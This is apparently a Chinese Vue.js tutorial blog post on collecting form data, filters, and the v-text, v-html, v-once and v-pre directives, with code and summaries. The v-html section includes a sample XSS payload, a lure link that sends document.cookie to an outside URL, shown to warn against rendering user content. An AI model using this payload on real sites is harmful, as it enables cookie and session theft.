Bootstrap

VUE基础知识五

目录​

1、收集表单数据

2、过滤器 

3、v-text指令 

4、v-html指令 

5、 v-once指令

6.v-pre指令 

1、收集表单数据

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script type="text/javascript" src="js/vue.min.js"></script>
</head>
<body>
    <div id="app">
        <form @submit.prevent="demo">
            账号：<input type="text" v-model.trim="userInfo.account"> <br/><br/>
            密码：<input type="password" v-model="userInfo.password"> <br/><br/>
            年龄：<input type="number" v-model.number="userInfo.age"> <br/><br/>
            性别：
            男<input type="radio" name="sex" v-model="userInfo.sex" value="male">
            女<input type="radio" name="sex" v-model="userInfo.sex" value="female"> <br/><br/>
            爱好：
            跑步<input type="checkbox" v-model="userInfo.hobby" value="study">
            旅游<input type="checkbox" v-model="userInfo.hobby" value="game">
            唱歌<input type="checkbox" v-model="userInfo.hobby" value="eat">
            <br/><br/>
            所属校区：
            <select v-model="userInfo.city">
                <option value="">请选择校区</option>
                <option value="beijing">北京</option>
                <option value="shanghai">上海</option>
                <option value="shenzhen">深圳</option>
                <option value="wuhan">武汉</option>
            </select>
            <br/><br/>
            其他信息：
            <textarea v-model.lazy="userInfo.other"></textarea> <br/><br/>
            <input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="http://www.atguigu.com">《用户协议》</a>
            <button>提交</button>
        </form>
    </div>
</body>

<script type="text/javascript">
    new Vue({
        el:'#app',
        data:{
            userInfo:{
                account:'',
                password:'',
                age:0,
                sex:'female',
                hobby:[],
                city:'beijing',
                other:'',
                agree:''
            }
        },
        methods: {
            demo(){
                console.log(JSON.stringify(this.userInfo))
            }
        }
    })
</script>
</html>

效果图：

总结： 

收集表单数据：

  • 若：<input type="text"/>，则v-model收集的是value值，用户输入的内容就是value值
  • 若：<input type="radio"/>，则v-model收集的是value值，且要给标签配置value属性
  • 若：<input type="checkbox"/>没有配置value属性，那么收集的是checked属性（勾选 or 未勾选，是布尔值）

配置了value属性：

  • v-model的初始值是非数组，那么收集的就是checked（勾选 or 未勾选，是布尔值）
  • v-model的初始值是数组，那么收集的就是value组成的数组

v-model的三个修饰符：

  • lazy：失去焦点后再收集数据
  • number：输入字符串转为有效的数字
  • trim：输入首尾空格过滤

2、过滤器 

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script type="text/javascript" src="js/vue.min.js"></script>
    <script src="https://cdn.bootcdn.net/ajax/libs/dayjs/1.10.6/dayjs.min.js"></script>
</head>
<body>
    <div id="app"> 
        <h1>{{ name | Upper }}</h1> 
        <h1>价格： {{ price | toFixed(2) | toUSD }} </h1>
    </div>
    <script>
        Vue.filter('toFixed', function (price, limit) {
     return price.toFixed(limit)
 })
Vue.filter('toUSD', function (price){
     return `${price}元`
})
        let app = new Vue({
　　el: '#app',
　　data () {
　　　　return {
  　　　　name: 'https://www.bilibili.com/',
         price: 435.569
　　　　}
　　},
　　// 声明一个本地的过滤器
　　filters: {
　　　　Upper: function (value) {
　　　　　　return value.toUpperCase()
　　　　}
　　}
})
    </script>
</html>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script type="text/javascript" src="js/vue.min.js"></script>
    <script src="https://cdn.bootcdn.net/ajax/libs/dayjs/1.10.6/dayjs.min.js"></script>
</head>
<body>
   
  <div id="app">
    <!-- {{}}中的|表示过滤器管道符,过滤器后面的为过滤函数 -->
    <p>{{msg | msgFormat('疯狂+1')}}</p>
    <!-- 多个过滤函数进行调用 -->
    <p>{{msg | msgFormat('疯狂+1') | test}}</p>
    <h2>{{time | dateFormat}}</h2>
  </div>
</body>
<script>
  //过滤器的定义语法
  //Vue.filter('过滤器的名称',function () { })
  //过滤器中的function,第一个参数data，已经被规定死，永远都是过滤器管道符前面传递过来的数据
  // 从第二个参数开始就是传值
  // Vue.filter('过滤器名称',function(data){
  //   return data+123
  // });
  //定义一个Vue全局的过滤器，名字：msgFormat
  Vue.filter('msgFormat',function(msg,param) {
    //字符出中的replace方法，第一个参数，除了写一个字符串之外，还可以定义一个正则
    // return msg.replace('单纯','邪恶');
    // return msg.replace(/单纯/g,'邪恶')
    return msg.replace(/单纯/g,param)
  })
  Vue.filter('test',function(msg) {
    return msg+'love'
  })
  //如何定义一个私有过滤（局部）
  var vm = new Vue({
    el: '#app',
    data: {
      msg: '我也是一个单纯的少年，单纯到自己很可爱，我也会喜欢你',
      time: new Date(),
    },
    //定义私有过滤器，过滤器有两个条件[过滤器名称 和 处理函数 ]
    filters: {
      /*
      过滤器调用的时候，采用的是就近原则，
      如果私有过滤器和全局过滤器名称一致了，这时候优先调用私有过滤器
      */
      //param = '';es6的初始化值
      dateFormat: function(time,param = ''){
        var dt = new Date(time);
        // yyyy-mm-dd
        var y = dt.getFullYear();
        // var m = dt.getMonth()+1;
        var m = (dt.getMonth()+1).toString().padStart(2,'0');
        var d = dt.getDate();
        // return y+'-'+m+'-'+d;
        //模板字符串
        // return `${y}-${m}-${d}`;
        if(param.toLowerCase() === 'yyyy-mm-dd'){
          return `${y}-${m}-${d}`;
        }else{
          var hh = dt.getHours();
          var mm = (dt.getMinutes()).toString().padStart(2,'0');
          var ss = dt.getSeconds();
          return `${y}-${m}-${d} ${hh}:${mm}:${ss}`
        }
      }
    },
    methods: { }
  })
</script>
</html

效果图：

 

总结： 

定义：对要显示的数据进行特定格式化后再显示（适用于一些简单逻辑的处理）。

语法：

  • 注册过滤器：Vue.filter(name,callback) 或 new Vue{filters:{}}
  • 使用过滤器：{{ xxx | 过滤器名}} 或 v-bind:属性 = "xxx | 过滤器名"

备注：

  • 过滤器可以接收额外参数，多个过滤器也可以串联
  • 过滤器不改变真正的data，而只是改变渲染的结果，并返回过滤后的版本。

3、v-text指令 

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script type="text/javascript" src="js/vue.min.js"></script>
</head>
<body>
   
  <div id="app">
    <div>你好，{{name}}</div>
    <div v-text="name"></div>
    <div v-text="str"></div>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false 

new Vue({
    el:'#app',
    data:{
        name:'小明',
        str:'<h3>你好啊！</h3>'
    }
})
</script>
</html>

效果图： 

 

 总结：

之前学的指令：

  1. v-bind：单向绑定解析表达式，可简写为:
  2. v-model：双向数据绑定
  3. v-for：遍历数组 / 对象 / 字符串
  4. v-on：绑定事件监听，可简写为@
  5. v-if：条件渲染（动态控制节点是否存存在）
  6. v-else：条件渲染（动态控制节点是否存存在）
  7. v-show：条件渲染 (动态控制节点是否展示)

v-text指令：

作用：向其所在的节点中渲染文本内容

与插值语法的区别：v-text会替换掉节点中的内容，{{xx}}则不会。

4、v-html指令 

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script type="text/javascript" src="js/vue.min.js"></script>
</head>
<body>
   
  <div id="app">
    <div>Hello，{{name}}</div>
    <div v-html="str"></div>
    <div v-html="str2"></div>
</div>
</body>

<script type="text/javascript">
new Vue({
    el:'#app',
    data:{
        name:'小明',
        str:'<h3>你好啊！</h3>',
        str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了，快来！</a>',
    }
})
</script>
</html>

效果图： 

总结： 

v-html指令：

作用：向指定节点中渲染包含html结构的内容

与插值语法的区别：

  • v-html会替换掉节点中所有的内容，{{xx}}则不会
  • v-html可以识别html结构

严重注意：v-html有安全性问题！！！

  • 在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击
  • 一定要在可信的内容上使用v-html，永远不要用在用户提交的内容上！！！
     

5、 v-once指令

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script type="text/javascript"  src="js/vue.min.js"></script>
</head>
<body>
   
  <div id="app">
    <h2 v-once>n初始化的值是：{{n}}</h2>
    <h2>n现在的值是：{{n}}</h2>
    <button @click="n++">点我n+1</button>
</div>
</body>

<script type="text/javascript">
new Vue({
    el:'#app',
    data:{
        n:1
    }
})
</script>
</html>

效果图： 

总结： 

 v-once指令：

  1. v-once所在节点在初次动态渲染后，就视为静态内容了

  2. 以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能

6.v-pre指令 

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script type="text/javascript"  src="js/vue.min.js"></script>
</head>
<body>
  <div id="app">
    <h2 v-pre>Vue其实很简单</h2>
    <h2>当前的n值是:{{n}}</h2>
    <button @click="n++">点我n+1</button>
</div>
</body>

<script type="text/javascript">
new Vue({
    el:'#app',
    data:{
        n:1
    }
})
</script>
</html>

效果图： 

总结： 

v-pre指令：

  1. 跳过其所在节点的编译过程。
  2. 可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译

 

悦读

道可道，非常道；名可名，非常名。 无名，天地之始，有名，万物之母。 故常无欲，以观其妙，常有欲，以观其徼。 此两者，同出而异名，同谓之玄，玄之又玄，众妙之门。

最新收录
enum
Linux环境下的GDB调试方法
autosar arxml文件配置(一)
css属性阻止鼠标事件及鼠标指针的显示
在System身份运行的.NET程序中以指定的用户身份启动可交互式进程
Elasticsearch学习-本地安装 原创
电脑上想安装多个mysql
input输入框自动去除空格
geowebcache跨域问题解决亲测有效
itext导出word 页边距总结
;